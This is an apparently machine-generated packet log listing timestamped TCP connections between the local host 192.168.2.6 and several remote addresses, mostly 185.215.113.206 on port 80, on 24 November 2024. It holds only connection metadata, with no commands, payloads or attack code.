Nov 24, 2024 04:20:23.391350985 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.391354084 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.391402006 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.394994020 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.395054102 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.395106077 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.395148039 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.398741961 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.398797989 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.398842096 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.398890972 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.402487993 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.402770996 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.403301001 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.403347969 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.403425932 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.403481007 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.407071114 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.407129049 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.407146931 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.407238007 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.409964085 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.410020113 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.410063982 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.410274029 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.413712978 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.413769007 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.413805008 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.413888931 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.417434931 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.417499065 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.417545080 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.417709112 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.488217115 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.488249063 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.488317013 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.488367081 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.489769936 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.489942074 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.490391016 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.490449905 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.490492105 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.490531921 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.493662119 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.493686914 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.493716002 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.493730068 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.496921062 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.497025967 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.497031927 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.497062922 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.500181913 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.500226021 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.500251055 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.500291109 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.506886959 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:23.506972075 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:23.573817968 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.573904037 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.574012041 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.574069023 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.574759007 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.574826002 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.575067043 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.575124979 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.575185061 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.575241089 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.576224089 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:23.576313019 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:23.577037096 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.577102900 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.577135086 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.577244043 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.578965902 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.579051018 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.579058886 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.579210043 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.580910921 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.580986977 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.581048012 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.582916021 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.582988024 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.583044052 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.584852934 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.584961891 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.585022926 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.586769104 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.586811066 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.586869001 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.588790894 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.588896990 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.588903904 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.588939905 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.590740919 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.590826988 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.590869904 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.590869904 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.592694998 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.592762947 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.592765093 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.592896938 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.594630957 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.594707966 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.594731092 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.594816923 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.596576929 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.596693039 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.596754074 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.598556042 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.598634958 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.598733902 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.598781109 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.600492001 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.600554943 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.600588083 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.600631952 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.602451086 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.602497101 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.602519989 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.602565050 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.604424953 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.604481936 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.604516029 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.604645014 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.606343985 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.606403112 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.606460094 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.606601954 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.608300924 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.608371973 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.608421087 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.608464956 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.610253096 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.610306978 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.610351086 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.610415936 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.612240076 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.612293005 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.612344980 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.612432957 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.614173889 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.614272118 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.614289999 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.614351988 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.614604950 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:23.614665985 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:23.614831924 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:23.614850998 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:23.614995003 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:23.615190029 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:23.616137981 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.616189957 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.616241932 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.616290092 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.618150949 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.618215084 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.618222952 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.618273973 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.620057106 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.620110035 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.620131969 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.620176077 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.621033907 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:23.621053934 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:23.621313095 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:23.621362925 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:23.621644020 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:23.621819973 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:23.621882915 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:23.622024059 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.622056961 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.622078896 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.622114897 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.622538090 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:23.622596979 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:23.623974085 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.624049902 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.624088049 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.624150038 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.625467062 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:23.625473976 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:23.625638962 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:23.625644922 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:23.625725031 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:23.625894070 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:23.625935078 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.625986099 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.626030922 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.626080990 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.627871037 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.627955914 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.627964020 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.628098011 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.629867077 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.629919052 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.630054951 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.630101919 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.631787062 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.631858110 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.631894112 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.631939888 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.633738041 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.633794069 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.633836985 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.633938074 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.635525942 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:23.635586977 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:23.635711908 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.635807037 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.635817051 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.635871887 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.637664080 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.637720108 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.637762070 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.637763023 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.639611959 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.639668941 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.639714003 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.639760017 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.641581059 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.641654015 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.641674995 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.641719103 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.648251057 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:23.648277044 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:23.648490906 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:23.648500919 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:23.648601055 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:23.648649931 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:23.656157017 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:23.656172037 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:23.656358004 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:23.656364918 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:23.656404018 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:23.656721115 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:23.663341045 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:23.698555946 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.698620081 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.698663950 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.698739052 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.699562073 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.699655056 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.699665070 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.699718952 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.701468945 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.701528072 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.702193022 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.702244997 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.702290058 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.702460051 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.704166889 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.704210997 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.704255104 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.704303980 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.706111908 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.706208944 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.706254959 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.708102942 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.708157063 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.708184958 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.708261967 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.710030079 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.710092068 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.710134983 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.710179090 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.711961031 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.712014914 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.712059975 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.712104082 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.713912010 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.713963032 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.714044094 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.714123011 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.715783119 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.715826988 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.762541056 CET	49746	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:23.762583971 CET	443	49746	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:23.762707949 CET	49747	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:23.762717009 CET	49746	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:23.762743950 CET	443	49747	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:23.762789011 CET	49747	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:23.767621040 CET	49747	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:23.767635107 CET	443	49747	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:23.768697977 CET	49746	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:23.768713951 CET	443	49746	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:23.789829016 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.789849043 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.789921999 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.789973021 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.790302038 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.790364981 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.790528059 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.790574074 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.790626049 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.790837049 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.791886091 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.791995049 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.792043924 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.793266058 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.793355942 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.793396950 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.793396950 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.794615030 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.794701099 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.794718027 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.794768095 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.795994043 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.796071053 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.796088934 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.796209097 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.797328949 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.797405958 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.797429085 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.797518969 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.798669100 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.798742056 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.798779964 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.798851013 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.800048113 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.800122976 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.800143003 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.800189018 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.801379919 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.801435947 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.801481009 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.801552057 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.802757978 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.802838087 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.802862883 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.802995920 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.804101944 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.804163933 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.804174900 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.804281950 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.805442095 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.805517912 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.805553913 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.805600882 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.806807995 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.806888103 CET	49718	80	192.168.2.6	185.215.113.206
